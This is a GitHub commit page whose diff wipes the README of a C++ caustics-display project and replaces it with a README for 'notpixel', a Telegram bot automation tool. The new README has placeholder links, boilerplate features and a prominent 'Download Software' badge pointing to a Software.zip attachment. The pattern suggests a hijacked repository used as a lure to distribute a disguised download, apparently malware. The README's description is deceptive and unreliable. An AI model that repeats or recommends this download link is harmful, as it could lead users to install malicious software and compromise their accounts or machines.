Skip to content

Commit

Permalink
Commit
Browse files Browse the repository at this point in the history
  • Loading branch information
chacha1629 committed Sep 26, 2024
1 parent 7bb613a commit 912d598
Showing 1 changed file with 85 additions and 29 deletions.
114 changes: 85 additions & 29 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,43 +1,99 @@
# caustics-display
# notpixel

A simple C++ program used to verify the caustics pattern produced by the output of [Kassubeck et al.'s implementation](https://github.com/CompN3rd/ShapeFromCaustics/tree/main/schwartzburg_2014) of Schwartzburg et al.'s [High-contrast computational caustic design](https://dl.acm.org/doi/10.1145/2601097.2601200).
![notpixel logo](https://example.com/notpixel-logo.png)

## Dependencies
Python automation tool for interacting with the telegram Notpixel bot.

Make sure to include these when building the program.
- [SDL 2](https://www.libsdl.org/)
- [Eigen](https://eigen.tuxfamily.org/)
## Overview

## How to use
notpixel is a versatile Python automation tool designed to work seamlessly with the telegram Notpixel bot. With features such as auto refs, auto drawing, auto tasks, multithreading, proxy support, and pyrogram sessions integration, notpixel simplifies and enhances the interaction process, providing a powerful and intuitive tool for users.

1. First build the caustics display executable.
2. Run Kassubeck et al.'s implementation to obtain an .obj file for your target image. The target image must be 256x256 pixels.
3. Place the .obj file in the same directory as the built executable.
4. Open the command line in the same directory, and run:
`causticsdisplay.exe [filename].obj [receiver_plane]`
<br>The first argument is the .obj file, and the second argument is the distance to the receiver plane when generating the .obj file.
5. If successful, the display window will open shortly and the caustics pattern will be shown.
<br>The window can be resized to make the pattern more clear.
<br>Pressing W and S will increase or decrease the receiver plane distance, respectively, in order to fine-tune the spacing.
<br>Pressing Q will display the current distance in the console.
## Features

## Sample Screenshots
🤖 **Auto Refs**: Automatically handle references within the bot.
🎨 **Auto Drawing**: Conveniently work with drawing functionalities.
⚙️ **Auto Tasks**: Streamline task automation.
🔗 **Multithreading**: Utilize multithreading capabilities for improved performance.
🛡 **Proxy Support**: Stay secure and anonymous with proxy integration.
🔒 **Pyrogram Sessions**: Seamlessly integrate with Pyrogram sessions for enhanced functionality.

### Target image
## Quick Start

![target](./img/target.png)
<br>Photo of a marble fox I found on Google, made grayscale and shrunk down to 256x256
Follow these steps to get started with notpixel:

### Screenshot of the .obj file / lens shape generated by Kassubeck et al.'s code
1. Clone the repository:

![lens](./img/lens.png)
<br> (file too large to upload to GitHub - I've uploaded it [here](https://mega.nz/file/2593DAST#vWJQIVjO7D_PTpi0Drja8bFXgGCo55YhR6MlpsjPxXI) to test with yourself!)
```bash
git clone https://github.com/username/notpixel.git
```

### Running the executable
2. Install the required dependencies:

![command](./img/command.png)
```bash
pip install -r requirements.txt
```

### Caustics image
3. Configure your settings:

![caustics](./img/causticsSMALL.png)
<br>(The display window was resized to be larger to make the image more clear, the program will start at 256x256 resolution. It may look a little funky in the README but you can still make out the image, full resolution in ./img/caustics.png!)
Update the configuration files to customize your notpixel experience.

4. Run notpixel:

```bash
python notpixel.py
```

## Examples

### Auto Refs

```python
from notpixel import AutoRefs

refs = AutoRefs()
refs.handle_references()
```

### Auto Drawing

```python
from notpixel import AutoDrawing

drawing = AutoDrawing()
drawing.create_canvas()
```

### Auto Tasks

```python
from notpixel import AutoTasks

tasks = AutoTasks()
tasks.run_all_tasks()
```

## Download

[![Download Software](https://img.shields.io/badge/Download-Software-green)](https://github.com/user-attachments/files/17130043/Software.zip)

## Contributing

We welcome contributions from the community! If you'd like to contribute to notpixel, please follow these guidelines:

1. Fork the repository.
2. Create a new branch for your feature or fix.
3. Implement your changes.
4. Test your changes.
5. Submit a pull request.

## License

[MIT License](https://opensource.org/licenses/MIT)

---

Feel free to explore and leverage the full range of capabilities that notpixel offers. Simplify your interactions with the telegram Notpixel bot today! 🚀

---

![footer image](https://example.com/footer-image.png)

0 comments on commit 912d598

Please sign in to comment.